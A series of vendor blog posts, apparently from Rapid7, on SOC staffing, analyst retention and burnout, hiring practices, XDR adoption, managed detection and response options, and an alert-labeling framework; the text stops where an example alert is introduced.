Is there too much to do with too little talent? If your SOC hasn’t been running smoothly in a while, there’s likely multiple reasons why. As a popular slang phrase goes these days, it’s because of “all the reasons.” Budget, talent churn, addressing alerts all over the place; you might also work in an extremely high-risk/high-attack-frequency industry like healthcare or media.
Because of “all these reasons” – and possibly a few more – you find yourself with a heavy load to secure. A load that possibly never seems to get lighter. Even when you land some truly talented security personnel and begin the onboarding process, more often these days it seems like a huge question mark if they’ll even be around in a year. And maybe the current cybersecurity skills gap is here to stay.
But that doesn’t mean there’s nothing you can do about it. It doesn’t mean you can’t be powerful in the face of that heavy load and attack frequency. By shoring up your current roster and strategizing how your talent could best partner with a managed detection and response (MDR) services provider, you might not have to simply settle for weathering the talent gap. You may find you’re saving money, creating new efficiencies, and activating a superpower that can help you lift the load like never before.
The hidden benefit
Let’s say retention isn’t a huge issue in your organization. As a manager, you try to stay upbeat, reinforce daily positivity, and show your gratitude for a job well done. If that’s truly the case, then more likely than not people enjoy working for you and probably stick around if they’re paid well and fairly for the industry average. So why not shore up that culture and confidence by:
Lightening the load: Remove the need to deal with most false positives and frequent alerts. If your people really do like working in your organization – even in the midst of a challenging talent gap – they enjoy their work/life balance. Challenging that balance by demanding longer hours to turn your employees into glorified button pushers will send the wrong message – and could send them packing to other jobs.
Preventing burnout: Cybersecurity professionals have to begin somewhere, and likely in an entry-level position they’ll be dealing with lots of alerts and repetitive tasks while they earn valuable experience. But when faced with the increasing stress of compounding and repetitive incidents – whether false or not – experienced workers are more likely to think about ditching their current gig for something they consider better. Nearly 30% of respondents in a recent ThreatConnect survey cited major stress as a top reason they would leave a job.
Creating space to innovate: Everyone must deal with tedious alerts in some fashion throughout a career. However, skilled individuals should have the space to take on larger and more creative challenges versus something that can most likely be automated or handled by a skilled services partner. That’s why an MDR partner can be a force multiplier, providing value to your security program by freeing your analysts to do more so they can better protect the business.
Retention just might be the reason
The last point above is one that’s more than fair to make. Freeing your individual team members to work on projects that drive the more macro view and mission of the security organization can be that force multiplier that drives high rates of retention. And that’s great!
The subsequent challenge, then, lies in finding that partner that can be an extension of your security team, a detection and response specialist that can field the alerts and focus on ridding your organization of repetitive tasks – increasing the retention rate and creating space to innovate. Ensuring a great connection between your team and your service-provider-of-choice is critical. The provider will essentially become part of your team, so that relationship is just as important as the interpersonal dynamics of your in-house teams.
A provider with a squad of in-house incident response experts can help to speed identification of alerts and remediation of vulnerabilities. If you can partner with a provider who handles breach response 100% in-house – as opposed to subcontracting it – this can help to form closer bonds between your in-house team and that of the provider so you can more powerfully contain and eradicate threats.
Resources to help
To learn more about the process of researching and choosing a potential MDR vendor, check out the new Rapid7 eBook, 13 Tips for Overcoming the Cybersecurity Talent Shortage. It’s a deeper dive into the current cybersecurity skills gap and features steps you can take to address your own talent shortages or better partner with a services provider/partner. You can also read the previous entry in this blog series here.
Have you checked in on the overall health of your team lately?
What would a new hire think of your current team?
Companies all over the world – particularly those of the higher-profile variety – tout their positive cultures and how great it is to be part of the team. This is especially true in the age of social media, when groups and teams within companies frequently post about what they’re doing to make the company a better place to work and move positive initiatives forward. But what a shrewd potential hire should really be looking for is a culture with true depth, not just a social media presence.
The United States Navy is a great practitioner and example of this true depth of culture in the way they recruit for the famed SEAL Team Six. New members aren’t chosen solely on past performance, even if they’re the best of the best. They’re chosen based on performance and their ability to be trusted, with even lower performers sometimes chosen due to the fact they can be trusted more so than others.
If a potential new hire – whose work history indicated high performance and high trust – was on interview number two or three and came in to meet with several members of your current team to get a feel for the overall culture, what would that person think at the conclusion of those meetings? With that consideration in mind, think about the culture of your current team and if it’s an environment that would attract or repel prospective talent.
SOCulture
Working in a SOC is quite different from working in a flower shop. It’s true that there are certain hallmarks of camaraderie that are repeatable across industries. But cybersecurity is different. Practitioners in our industry have an incredible responsibility on their shoulders. Some providers simply alert you to trouble – think of it like a fire department that alerts you that your house is on fire – but the best ones contain the threats. And the best ones are where talent wants to be. So, what are some tangible actions we know will make analysts consider your SOC a great and happy place to work?
Engage your team – This doesn’t have to be some sort of program with a name or anything official. Happy hours, coffee breaks, team lunches, conversations; this type of camaraderie may seem obvious, but it’s amazing how quickly team culture can fall by the wayside in favor of simply getting the work done and then going home. Even something like reserving the first 20 minutes of your regular Wednesday all-team check-in to talk about anything other than work can become something memorable your team looks forward to.
Put the human above the role – Even while everyone is heads down on an ETR, there’s always time to be motivational, positive, and celebrate the small wins. That doesn’t mean you have to throw a pizza happy hour every time your team does their jobs well, but positive reinforcement is a must. While everyone deserves a fair salary and to be compensated appropriately for their time and doing their job well, there are those talented individuals driven more by recognition for a job well done than by salary. And you don’t want to see those individuals begin to feel like just another cog in the machine – and then eventually leave.
Commit to cybersecurity, not conflict – According to last year’s ESG Research Report, The Life and Times of Cybersecurity Professionals, those professionals find organizations most attractive that are actually committed to cybersecurity. 43% of individuals surveyed for the report stated that the biggest factor determining job satisfaction is business management’s commitment to strong cybersecurity. It’s great if you consider a candidate a strong fit, but how’s your team’s relationships with other teams? Would that candidate see themselves as a fit amongst those dynamics?
Promote a healthy team with a healthy dose of DEI – In that same ESG report, 21% of survey respondents said that one of the biggest ways the cybersecurity skills shortage impacted their team was that their organization tended not to seek out qualified applicants with more diverse backgrounds; they simply wanted what they considered the perfect fit. Diversity, Equity, and Inclusion (DEI) should be something that attracts great talent and that is ultimately reflected in the culture. Candidates should feel they aren’t being sold a “false bill of goods.” Show them that everyone has an equal shot at opportunities, pay, and having a say in the actions of your SOC.
Implement and complement
It’s not an overnight thing to tweak certain aspects of your culture to address issues with your current team, nor is it a fast-ask to to attract great talent and retain them far into the future. Talking to your team, engaging them with tools like surveys and open dialogue can begin to yield an actionable plan that you can take all the way to the job listing and the words you use in it. The key to being successful is to be genuine in your approach to building a culture that is inclusive, engaging, and fun.
The culture fit can also extend to partnerships. If you’re thinking of engaging a managed services partner to help you fill certain holes in the cybersecurity skills gap that may be affecting your own organization, it’s important to thoroughly vet that vendor. Much like partnering with a new hire in the quest to thwart attackers, implementing a long-term partnership with a managed services provider can complement your existing SOC for years to come. But it has to be a good fit: Is the provider dependable? Is there a 24/7 number you can call when you need immediate assistance? Beyond that, do your companies share similar values and ethical concerns?
You can learn more in our new eBook, 13 Tips for Overcoming the Cybersecurity Talent Shortage. It’s a deeper dive into the current cybersecurity skills gap and features steps you can take to address talent shortages. It also considers your current culture and its ability to amplify voices so that, together, you can extinguish the most critical threats.
When it comes to building a cybersecurity talent pipeline that feeds directly into your company, there’s one go-to source for individuals who are perfectly credentialed, know 100% of all the latest technology, and will be a perfect culture-fit: Imaginationland.
Of course we all know that isn’t a real place, and that the sort of talent described above doesn’t really exist. It’s more about thoughtfully building a talent pipeline that benefits your specific organization and moves the needle for the company. The key word in that last sentence? Thoughtfully. Because it takes strategic planning, collaboration, and a thoughtful nature to source from educational institutions, LinkedIn groups, talent-that’s-not-quite-fully-baked-but-soon-could-be, and many other venues that may not be top-of-mind.
Identifying those venues and solidifying a pipeline/network will go a long way in preventing continuous talent churn and finding individuals who bring that special something that makes them the cherry on top of your team.
The (un)usual places
Do you have a list? A few go-to places for sourcing talent? How old is that list? Do you have a feeling it might be extremely similar to talent-sourcing lists at other companies? It only takes relocating one letter in the word “sourcing” to turn it into “scouring.” As in, scouring the internet to find great talent. Not a word with 100%-negative connotation, but it implies that – after that open analyst req has been sitting on all the job sites for months – maybe now there’s a certain frantic quality to your talent search.
So if you’re going to scour, you may as well make it a smart scour. Targeting specific avenues on and offline is great, but targeting a specific profile for the type of person you hope will join your team…that can turn out to be not so great. Stay open; the person(s) you find may just surprise you. Start online with places like:
TryHackMe rooms
Comments sections
Twitter (yes, Twitter)
And, truly, give some thought to heading offline and scouring/scouting for talent in places like:
Someone on your IT team that wants to get into cybersecurity
Talking to members of your existing team
Bespoke recruiting events in talent hotbeds around the world
And one last place to look: past interviewees. How long has it been since you interviewed that candidate who was almost the right fit? What if that person would now be a great fit? It can be a cyclical journey, so it’s a good idea to keep a list of candidates who impressed you, but didn’t quite make the cut at the time. Better yet, connect with these candidates on social media and periodically check in to see how they are growing their skills.
The (un)familiar fit
You have an idea of what sort of person you would like to see in that open role. But, what if that person never walks through your (real or virtual) door to interview? Will you close the role and just forget about it? Of course you won’t because your SOC likely needs talent – and sooner rather than later. If you don’t allow for some wiggle room in the requirements though, you may be in for an extended process of trying to fill that position.
So, what does that wiggle room look like? Let’s put it this way: If a candidate that matched all criteria on the job description suddenly walked through your door, would you forgo the interview and hire them on the spot? Hopefully not, because there are certain intangibles you should take into account. Yes, that person matches everything on the description, but do they really want to work for your business specifically? Because a bad hire that matches all the requirements on the description, well that can ultimately be more toxic than something who has the potential to live up to those requirements.
Building Diversity, Equity, and Inclusion (DEI) hiring practices into your program, and being thoughtful with the words you use when crafting job descriptions and the requirements listed on them can create the wiggle room that non-ideal candidates might need to feel invited to apply and interview.
The un becomes the usual
That section header doesn’t refer to any one thing discussed above. It’s a collection of considerations and practices that aren’t “un” because they’re so irregular, rather because none of them are the first thing a hiring manager might think to do when looking to fill a role. One of these considerations may be the second or third thing that comes to mind. But, by making these hiring practices more of the “usual way” to secure talent for open roles, you may experience significantly less churn and find the individuals that become the cherry on top of your SOC.
You can learn more in our new eBook, 13 Tips for Overcoming the Cybersecurity Talent Shortage. It’s a deeper dive into the current cybersecurity skills gap and features steps you can take to address it within your own organization.
Modern job descriptions have quite the reputation for causing reactionary eye-rolling. Why? Because what used to be a couple of paragraphs – about requirements and experience for performing a cybersecurity analyst job – is actually now filled with a laundry list of criteria that make candidates think twice before hitting the “Apply Now” button.
Before you know it, the potential applicant has read a couple thousand words of simple job requirements, plus an “alphabet soup” of certifications. It’s all a bit ridiculous, considering if applicants spent all of their time studying for these tests, they wouldn’t have any real-world experience (or a life!) to back it up. In fact, the candidate may even be overqualified for the job, and the person who wrote the listing is the one who should probably feel ridiculous…and inefficient.
Description or unrealistic wishlist?
Even the term “wishlist” isn’t accurate, because many job descriptions veer off of what the job function will actually be and start listing “nice-to-haves” as requirements. Thus, even a function not likely to be under an analyst’s day-to-day purview becomes something the candidate reads in the description and makes them decide not to pursue the position. Or worse, it requires the applicant to use a technology stack they’ve never accessed. And maybe with wording that conveys the availability of a little guidance and/or teaching with regard to that new tech, they might end up applying. The takeaway: Be transparent about what the job will actually require because the applicant might be an amazing fit.
This is a more pervasive problem throughout the cybersecurity industry than many think. For example, an entry-level security analyst job description might list a few certifications as hard requirements. But one of those certifications requires a minimum of five years paid work experience. So the requirements in the job description end up being contradictory, and the hiring manager might need to have a think about what kind of position they’re actually trying to fill.
Even if that magical security unicorn that matched all the requirements did exist, they’ll still need to learn something on days 1 to 100. Namely, the ins and outs of the company, the office space, meeting cadence, team dynamics…and maybe some coworkers’ first names. There’s always something new at the beginning that becomes part of the onboarding process, and learning a new tool (or two) shouldn’t be grounds to give a prospective applicant pause.
A DIY description should start with DEI
Embracing diversity, equity, and inclusion (DEI) isn’t just a corporate slogan – it’s simply the right thing to do. And knowing how to weave that sentiment and practice into a job description can be tricky. But with the right mix of welcoming language and realistic requirements, you’ll start to attract great candidates. Here are a few questions to ask yourself when writing with DEI in mind (again, so you can attract the absolute best candidate pool):
Are you simply listing the requirements and calling it a day, or are you weaving thoughtful language in and around those requirements that also keeps in mind things like gender bias and overly corporate language?
Are you creating an inviting description for potential candidates with non-typical backgrounds, such as those who might have Associate’s Degrees (but maybe also a ton of experience and/or natural aptitude) or those who may be recent grads but could turn into absolute rockstars sooner than you think?
Your company may have worked hard to integrate DEI into its culture and its very DNA. Is that reflected in the descriptions for your open positions currently published across all the job sites?
It’s not rocket science, as the old saying goes. But if you’re having trouble attracting expert talent that will stay loyal (at least for a few years), it can be worthwhile to poke around jobs sections of social sites, cybersecurity talent forums, and a ton of listings from the competition to see what kind of language they’re using and if it’s actually attracting talent (how long has that listing been up?). You’ll notice the best job descriptions are not all about the job itself; postings should say what the company is looking for AND what it can do for the candidate – beyond salary and benefits.
It’s true that a positive work environment can do wonders for productivity, camaraderie, and Glassdoor reviews from employees that reflect favorably on their time in your security operations center (SOC). It’s also good to keep in mind that if it all goes well and you end up with several employees who all stay five years or more, their experience begins with that job description. They’ll always remember reading it; how it made them feel and what prompted them to click “Apply Now,” so make that listing a good one.
Anyone involved in hiring security analysts in the last few years is likely painfully aware of the cybersecurity skills shortage – but the talent hasn’t “gone anywhere” so much as it’s been bouncing around all over the place, looking for the highest bidder and most impactful work environment. Particularly since the advent of the pandemic, more highly skilled cybersecurity talent has been able to take advantage of work-from-anywhere opportunities, as well as other factors like work/life balance, the desire to avoid negative office politics – and, of course, potentially higher wages elsewhere.
Retain where it counts
Money isn’t everything, but it’s a lot. An awful lot. That’s what it may seem like to an experienced analyst who’s been working in the security operations center (SOC) for long hours over years, who doesn’t feel like they can really take time off, and who perhaps has been on LinkedIn of late just to “see what’s out there.” Having casual conversations with a recruiter can quickly turn into a conversation with you, their manager, that begins, “I need to put in my two-week notice.”
There are simply companies out there that will pay more and hire away your talent faster than you can say “onboarding.” You can attempt to shore up some budget to retain talent, but if money isn’t just one prong of a larger mix to keep your best and brightest, they’ll slowly start to join the quiet-quitting club and look elsewhere.
The balance shouldn’t be an act
It’s true that life – especially as we become adults – becomes a delicate balancing act. But for companies pitching a great work/life balance to prospective cybersecurity talent, that pitch needs to be genuine. A 2021 Gartner survey saw 43% of respondents say that flexibility in work hours helped them achieve greater productivity. And if the attempt is to woo talent with longer, more illustrious resumes, that attempt should highlight a meaningful work/life balance that’s able to coexist with the company’s values and mission – not to mention one that fits in well with the team dynamic that talent is entering or helping to build.
After all, you’re asking potential employees to sit in the trenches with their peers, fending off threats from some of the most ruthless attackers and organizations in the world. That can sometimes be a dark place to spend your days. Thus, the pervading environment around that function should be one of positivity, camaraderie, inclusivity, and celebration.
The pandemic took work/life balance to another level, one in which companies were forced to adopt work-from-home measures at least semi-permanently. In that scenario, the employee gained the ability to demand a better balance. And that’s something that can’t be taken away, even in part. Because talent loves a good party – and they can always leave yours.
Burn(out) ban in effect
One of the major reasons talent might decide that the party at your SOC has come to an end? Burnout. Currently, around 71% of SOC analysts say they feel burned out on the job. Reasons for this may have nothing to do with the environment in your SOC shop or greater organization. Burnout could be the result of a seasonal uptick in incident-response activities (end-of-year or holiday retail activities come to mind) or in response to the latest emergent threat. However, it’s good to be vigilant of how talent churn might become a common occurrence and how you can institute a ban on burnout.
It takes a team: To build out a fully operational SOC and achieve something close to 24×7 coverage, it takes several people. So, if you’re placing the hopes of round-the-clock coverage on the shoulders of, say, six analysts, they’re likely to burn bright for a short period of time and then leave the party.
The same thing, over and over: Your workday expectations may be music to the ears of prospective talent: 9 to 5, and then you log off and go home. That kind of schedule can be great for work/life balance. But is it pretty much the same thing, every day, year in and year out? Is there a heavy amount of alert fatigue that could be offset by a more efficient solution? Are you leveraging automation to its fullest, so that your SOC doesn’t become full of expert talent spending their days doing mundane tasks?
Burnout may come back to bite you: Glassdoor… it’s a thing. And people will talk. Your SOC may have developed a reputation for burnout without you even realizing it. It’s called social media, and you can sink or succeed by it – especially if it isn’t just one former analyst on Glassdoor talking about your security organization in relation to burnout. What if you find out it’s 50 people over the span of five years? Sure, it’s actionable data, but by then it may be too late.
The soul of your SOC
Think about it from their point of view. What do your employees consider a positive work environment? What would constitute a brain-drain culture? Taking proactive measures like sending out a survey and soliciting anonymous responses is an easy way of taking the temperature of the culture.
And if burnout is becoming a real thing, maybe it’s time to think about a managed services partner who can take on some of the more mundane security tasks and free up your in-house talent to innovate.
Extended detection and response (XDR) is increasingly gaining traction across the industry. In a new research ebook sponsored by Rapid7, SOC Modernization and the Role of XDR, ESG identified that 61% of security professionals claim that they are very familiar with XDR technology. While this is an improvement from ESG’s 2020 research (when only 24% of security professionals were very familiar with XDR), 39% are still only somewhat familiar, not very familiar, or not at all familiar with XDR.
Security professionals are still unsure of all the associated capabilities that they can leverage with XDR, and frankly how to define the solution. ESG reports that 55% of respondents say that XDR is an extension of endpoint detection and response (EDR), while 44% believe XDR is a detection and response product from a single security technology vendor or an integrated and heterogeneous security product architecture designed to interoperate and coordinate on threat prevention, detection, and response. Nevertheless, XDR remains to be standardized in the industry.
Keeping up with threats
XDR, as defined by Rapid7, goes beyond simple data aggregation. It unifies and transforms relevant security data across a modern environment to detect real attacks. XDR provides security teams with high context and actionable insights to extinguish threats quickly. With XDR, organizations can operate efficiently, reduce noise, and help zero in on attacks early.
According to ESG, security professionals seem to have a number of common XDR use cases in mind. 26% of security professionals want XDR to help prioritize alerts based on risk, 26% seek improved detection of advanced threats, 25% want more efficient threat/forensic investigations, 25% desire a layered addition to existing threat detection tools, and 25% think XDR could improve threat detection to reinforce security controls and prevent future similar attacks.
The theme and core capabilities that are common align with filling in gaps within the security tech stack – while improving threat detection and response.
Holistic detection and response
More than half of security professionals, surveyed by ESG, believe XDR will supplement existing security operations technologies; 44% of those surveyed see XDR as consolidating current security operations technologies into a common platform.
Security operation center (SOC) analysts struggle with numerous disparate tools and systems. It often leads to having to sift through a lot of data (often noise) and context-switching (moving from one tool to another). XDR aims to:
Unify broad telemetry sources (e.g. users, endpoints, cloud, network, etc.) into a single view and set of detections. It helps analysts curate detections, comprehensive investigations, and much more ultimately enabling simpler, smarter, and faster executions.
Embed expertise to help guide incident response (e.g. recommendation actions and next steps, automations, etc.) to enable security professionals to respond to threats with a single click – or without resource involvement.
Empower security teams to be more proactive around detection and response by enabling hunting, guiding forensic and investigation use cases, and more automation to streamline SecOps.
Unlock greater efficiency and efficacy for security teams at each step of the detection and response journey (from initial deployment and data collection, to finding threats and incident response).
Regardless of how XDR is defined, security professionals are interested in using XDR to help them address several threat detection and response challenges. InsightIDR, Rapid7’s cloud-native SIEM and XDR, is an XDR solution before it was even “coined” and users are achieving XDR outcomes. XDR has improved security efficacy and efficiency, unified data, and helped streamline security operations.
Eight in 10 organizations collect, process, and analyze security operations data from more than 10 sources, ESG identified in a new ebook SOC Modernization and the Role of XDR, sponsored by Rapid7. Security professionals believe that the most important sources are endpoint security data (24%), threat intelligence feeds (21%), security device logs (20%), cloud posture management data (20%), and network flow logs (18%).
While this seems like a lot of data, survey respondents actually want to use more data for security operations in order to keep up with the proliferation of the attack surface. This expansion is driving the need for scalable, high-performance, cloud-based back-end data repositories.
More data, more noise
Organizations are increasingly investing in technology to achieve executive goals and deliver on digital transformation strategies – every company is becoming a software company in order to remain competitive and support the new work normal.
With more technology comes greater potential for vulnerabilities and threats. Security operations center (SOC) analysts are an organization’s first line of defense. In order to effectively stay ahead of potential threats and attacks, security teams rely on vast amounts of data to get an overview of the organization and ensure protection of any vulnerabilities or threats.
However, it’s nearly impossible for organizations to prioritize and mitigate hundreds of risks effectively – and not just due to the skilled resource and knowledge shortage. Security teams need to filter through the noise and identify the right data to act on.
“In security, what we don’t look at, don’t listen to, don’t evaluate, and don’t act upon may actually be more important than what we do,” Joshua Goldfarb recently wrote in Dark Reading.
Focus on what matters with stronger signal-to-noise
Though SOC analysts are adept at collecting vast amounts of security data, they face a multitude of challenges in discerning the most severe, imminent threats and responding to them in an effective, timely manner. These teams are inundated with low-fidelity data and bogged down with repetitive tasks dealing with false positives. In order to reduce the noise, security professionals need a good signal-to-noise ratio. They need high-fidelity intelligence, actionable insight, and contextual data to quickly identify and respond to threats.
With Rapid7, organizations can ensure visibility for their security teams, eliminating blindspots and extinguishing threats earlier and faster. InsightIDR, Rapid7’s cloud-native SIEM and XDR, provides SOC analysts with comprehensive detection and response.
With InsightIDR, security professionals can leverage complete coverage with a native endpoint agent, network sensors, collectors, and APIs. Teams can go beyond unifying data to correlate, attribute, and enrich diverse datasets into a single harmonious picture.
Detailed events and investigations– Track users and assets as they move around the network, auto-enriching every log line.
Correlation across diverse telemetry – Single investigation timeline for each alert, and all the details of an attack in one place.
Expert response recommendations – Alerts come with recommended actions from Rapid7’s global MDR SOC and Velociraptor’s digital forensics and incident response playbooks.
Even if a security team was given a blank check to spend whatever they wanted and hire however they wanted, it would still be a massive effort to build a detection and response (D&R) program tailored to that organization’s specific needs. Thankfully, the plethora of managed services options available can help with that problem.
But with multiple types of managed services providers out there, how do you know which type of services are right for your organization? How can you effectively interview providers, attempt to then construct a D&R suite with the right vendor, and simultaneously continue to fortify your security program against threats?
For an organization beginning the search for a managed services partner that can actually add value, there is some starter legwork that can be done. There are many approaches to managed services providers along the D&R vein, such as:
Managed Detection and Response (MDR)
Managed Endpoint Detection and Response (MEDR)
Managed Security Service Provider (MSSP)
That last one, MSSP, is a blanket term for a provider that can assist with many specialized services like outsourced Security Operations Center-as-a-service (SOCaaS), MDR, or management of security tools such as a security information and event management (SIEM), firewalls, vulnerability risk management, and more. Knowing all this, while looking for the right managed service it’s simply a fact that you’re going to talk to a lot of vendors. Each one of them can say they’ll help you boost security defenses – they’ll say they have great people, they use the best technology, and they have a process to ensure your success.
The challenge? Every vendor’s marketing material will begin to sound the same. What it really comes down to is determining which provider’s strategy is best suited for your program’s needs. Let’s take a closer look at these three types of managed services to help you decide the best fit for your organization.
MDR
An MDR provider works with a customer to gain visibility and complete coverage across the customer’s entire environment. This helps a security practitioner better see when and where malicious-looking activity may be taking place.
MDR providers help solve operational challenges by instantly becoming an extension of their customers’ teams – providing headcount and extending coverage to 24x7x365. An MDR partner can also provide expertise and technologies to help find attacker behavior quickly and stop it before it becomes a wider issue.
More and more companies are becoming the focus of targeted attacks – specific aggressions designed to infiltrate an individual organization’s defenses. An MDR provider becomes a partner in helping to identify a targeted threat (read: reputational threat), repair affected systems, and focus efforts into both taking down the threat and providing recommendations for making the affected system more secure in the future.
There are a lot of MDR providers that go beyond “throwing alerts over the fence” to let clients parse and triage themselves. These days more MDR providers are finding it worth their while – and their bottom lines – to become a more strategic partner to security organizations. They help further security initiatives, build cyber resilience, and work with clients to get deeper visibility in their threat landscapes by:
Providing post-incident investigational insights
Weeding out benign events and only reporting true positive threats
Providing tailored remediation and mitigation recommendations
Recognizing there is no perimeter for data as it’s rushing back and forth from endpoints to clouds and beyond
Relieving security teams of steep analytical analysis so more of the focus is on threat hunting, as parsing alerts is automatically incorporated into threat intelligence
Curating high-fidelity detections and actionable telemetry to create efficient responses
These are all great benefits in extending what is possible with D&R and being proactive about extinguishing threats. However, MDR providers incorporating XDR into their approaches can’t simply add the letter “X” into the list of services and call it a day. XDR must help the organization actually gain control and visibility across its entire attack surface, from the nearest endpoint(s) to compromised user accounts, network traffic, cloud sources, and more.
When folded into a cohesive strategy that places emphasis on more proactive efforts, products like InsightIDR can be that solution that takes in telemetry from these disparate sources, correlates the data, and provides greater context to a potential threat.
MEDR
MEDR is a flavor of MDR that’s aligned more as an add-on management service that sits on top of endpoint-protection technology deployment. While MEDR does provide benefits like gaining visibility across wherever agents are set up, the EDR-centric approach won’t show the full story of a threat and its scope; an agent will simply tell the service provider what it gathers from the endpoint.
Many breaches, however, do begin at the endpoint. Why? Attackers can easily bypass firewalls and all sorts of implemented security controls by compromising just one endpoint, such as a user’s laptop. From there, they can move throughout a network, scooping up valuable internal/external data and quickly ruining a company’s reputation in the process. Even if they’re quickly found, what have they gotten away with?
Thus, focusing on endpoints is important. That’s simply an indisputable fact. EDR-based services are powerful tools within a managed services program. They provide advantages like:
Prevention aspects with integrated endpoint prevention platform (EPP) agent capabilities, such as Antivirus (NGAV) and stopping malicious file execution
Detecting compromised endpoints earlier in the attack chain
File integrity monitoring (FIM) capabilities so your team is alerted on changes to specific files on a given endpoint (if you’re monitoring for yourself)
Focusing only on endpoints, however, does miss key network- and cloud-spanning analysis that can deliver important telemetry in the fight against potential threats. MEDR typically lacks the ability to analyze network-spanning data, user analytics, and compliance behaviors, glean actionable insights, and use them to effectively respond to an incident. So the downside comes with the engagement model. Some MEDR players will rely on the tech to do most of the heavy lifting. Prevention is there to stop the threat early.
But if the attacker gets past this point, the managed services provider might take automated actions to handle alerts using the EDR tool or, worse, pass that alert on to their client for them to manage the investigation and response efforts. (And if you think that automated EDR actions are great, you’re encouraged to read about the risks associated with taking automated response actions without human intervention.)
SOCaaS
SOCaaS. That’s a heavy acronym. But the concept of “security operations center-as-a-service” is trying to fill a heavy need of any modern company: the implementation and management of a strong and sound cybersecurity program. Any MSSP who offers a holistic SOCaaS option should be able to provide the bottom-line benefit of enabling security practitioners to focus time and energy on innovations in other parts of the business.
A team of experts who can proactively defend, respond to threats, and provide (hopefully) round-the-clock support on behalf of a customer is probably the closest definition to SOCaaS that’s been bandied about in recent years. They can be a virtual SOC for a company, serving as a tactical console to enable team members to perform day-to-day tasks. They’ll also help teams strategize amidst bigger, longer-term security trends. So, in what ways can SOCaaS providers act as that strategic detection-and-response center for security teams?
Advanced SIEM functionality – In the midst of potentially billions of security events each day, a SIEM can help to prioritize the ones that truly deserve follow-up. A good SOCaaS provider will contextualize a proper response plan by taking into account user- and attacker-behavior analytics, performance metrics, incident response, and endpoint detection.
The human element – In the incredibly competitive marketplace for today’s security talent, it can be a daunting task for company leadership to source, develop, and retain an entire SOC of capable personnel. This is particularly true in efforts to maintain diversity in cybersecurity hiring. For example, Forrester says that women currently make up just 24% of security professionals worldwide.
Established processes – It typically takes nothing less than an extremely sophisticated process framework – established over a long period of time and testing – to be able to accurately identify, prioritize, and remediate a potential threat. It can be an incredible benefit to a business to forgo having to build out their own SOC with key personnel that – even when assembled – must take the necessary trial-and-error time to be able to work together efficiently and respond to threats effectively.
D&R expertise – If the goal of engaging SOCaaS is not to augment an existing D&R program, then vetting the provider for their expertise in that area is incredibly important. It really comes down to what you’re looking to achieve; as mentioned above, a modern MDR provider will leverage multiple sources of telemetry to detect and respond to threats. But when fully outsourcing a SOC, it’s incumbent upon security personnel representing the customer to figure out how D&R expertise figures into the larger picture of outsourced SOC operations at the vendor organization.
Communications – Beyond anything at all to do with technology and security, a SOCaaS provider must have great communication skills. How will the provider present information – especially about a potentially dire threat that could affect the company, its reputation, and its bottom line – to their client’s customer and executive team? Is there a dedicated point-of-contact (POC) or a team with whom you’ll be regularly working and interfacing?
If this is looking like a menu from which security teams looking for managed services can choose, that’s because it is. However, in this context we’re discussing SOCaaS as a fully outsourced arm of a business. For whatever reason – the need for speed/growth in other parts of the business, lack of recruitment power for talented security practitioners, etc. – a business may simply wish to staff a security “skeleton crew” who interfaces with the SOCaaS provider and relies on that provider to run, monitor, manage, and support all of the functionalities.
Bottom line: Choose the managed security services partner that best fits your needs
If your security organization is considering a managed services provider, that means your team is most likely looking to offload tedious and/or technical operational tasks that your existing security team simply doesn’t have the hours in a day to manage. Or you might need some augmentation and expertise to help with round-the-clock coverage. It also means you’re ready to find a partner to provide deep analysis and actionable insights so you can find out:
What is going on, and…
Is it something the company should worry about?
After that, your specialized provider should be able to make recommendations on how to respond – or, better yet, take those actions on your behalf. Because at the end of the day, it all depends on the outcome(s) you’re looking to achieve. Turnkey D&R services while your team focuses on other important things? Simple endpoint monitoring from a traditional MSSP? Or, are you looking to farm out your SOC operations and let someone else deal with all things security, not just some things security?
For those looking for that more comprehensive solution targeted at strictly strengthening the D&R muscle, leveraging an MDR provider with XDR capabilities is the way to go.
It’s going to take some budget, sure. But most of the time that same budget is earmarked for a similar cost as one of an open headcount (depending on the size of the environment). The capital expenditure (CapEx) cost is relative – and oftentimes far more affordable – when compared to the ongoing operating expenses (OpEx) outlay it takes to hire, train, and build an in-house SOC program. Whichever outcome your team is focused on, managed services as a whole is an affordable way to help build a D&R program at scale.
Looking for even more analysis to help you make an informed managed services decision? Check out the 2022 MDR Buyer’s Guide from Rapid7, or contact us for more info.
If you’ve ever worked in a Security Operations Center (SOC), you know that it’s a special place. Among other things, the SOC is a massive data-labeling machine, and generates some of the most valuable data in the cybersecurity industry. Unfortunately, much of this valuable data is often rendered useless because the way we label data in the SOC matters greatly. Sometimes decisions made with good intentions to save time or effort can inadvertently result in the loss or corruption of data.
Thoughtful measures must be taken ahead of time to ensure that the hard work SOC analysts apply to alerts results in meaningful, usable datasets. If properly recorded and handled, this data can be used to dramatically improve SOC operations. This blog post will demonstrate some common pitfalls of alert labeling, and will offer a new framework for SOCs to use—one that creates better insight into operations and enables future automation initiatives.
First, let’s define the scope of “SOC operations” for this discussion. All SOCs are different, and many do much more than alert triage, but for the purposes of this blog, let’s assume that a “typical SOC” ingests cybersecurity data in the form of alerts or logs (or both), analyzes them, and outputs reports and action items to stakeholders. Most importantly, the SOC decides which alerts don’t represent malicious activity, which do, and, if so, what to do about them. In this way, the SOC can be thought of as applying “labels” to the cybersecurity data that it analyzes.
There are at least three main groups that care about what the SOC is doing:
SOC leadership/management
Customers/stakeholders
Intel/detection/research
These groups have different and sometimes overlapping questions about each alert. We will try to categorize these questions below into what we are now calling the Status, Malice, Action, Context (SMAC) model.
Status: SOC leaders and MDR/MSSP management typically want to know: Is this alert open? Is anyone looking at it? When was it closed? How long did it take?
Malice: Detection and threat intel teams want to know whether signatures are doing a good job separating good from bad. Did this alert find something malicious, or did it accidentally find something benign?
Action: Customers and stakeholders want to know if they have a problem, what it is, and what to do about it.Context: Stakeholders, intelligence analysts, and researchers want to know more about the alert. Was it a red team? Was it internal testing? Was it the malware tied to advanced persistent threat (APT) actors, or was it a “commodity” threat? Was the activity sinkholed or blocked?
What do these dropdowns all have in common? They are all trying to answer at least two—sometimes three or four—questions with only one drop down menu. Menu 1 has labels that indicate Status and Malice. Menu 2 covers Status, Malice, and Context. Menu 3 is trying to answer all four categories at once.
I have seen and used other interfaces in which “Status” labels are broken out into a separate dropdown, and while this is good, not separating the remaining categories—Malice, Action, or Context—still creates confusion.
I have also seen other interfaces like Menu 3, with dozens of choices available for seemingly every possible scenario. However, this does not allow for meaningful enforcement of different labels for different questions, and again creates confusion and noise.
What do I mean by confusion? Let’s walk through an example.
Malicious or Benign?
Here is a hypothetical windows process start alert:
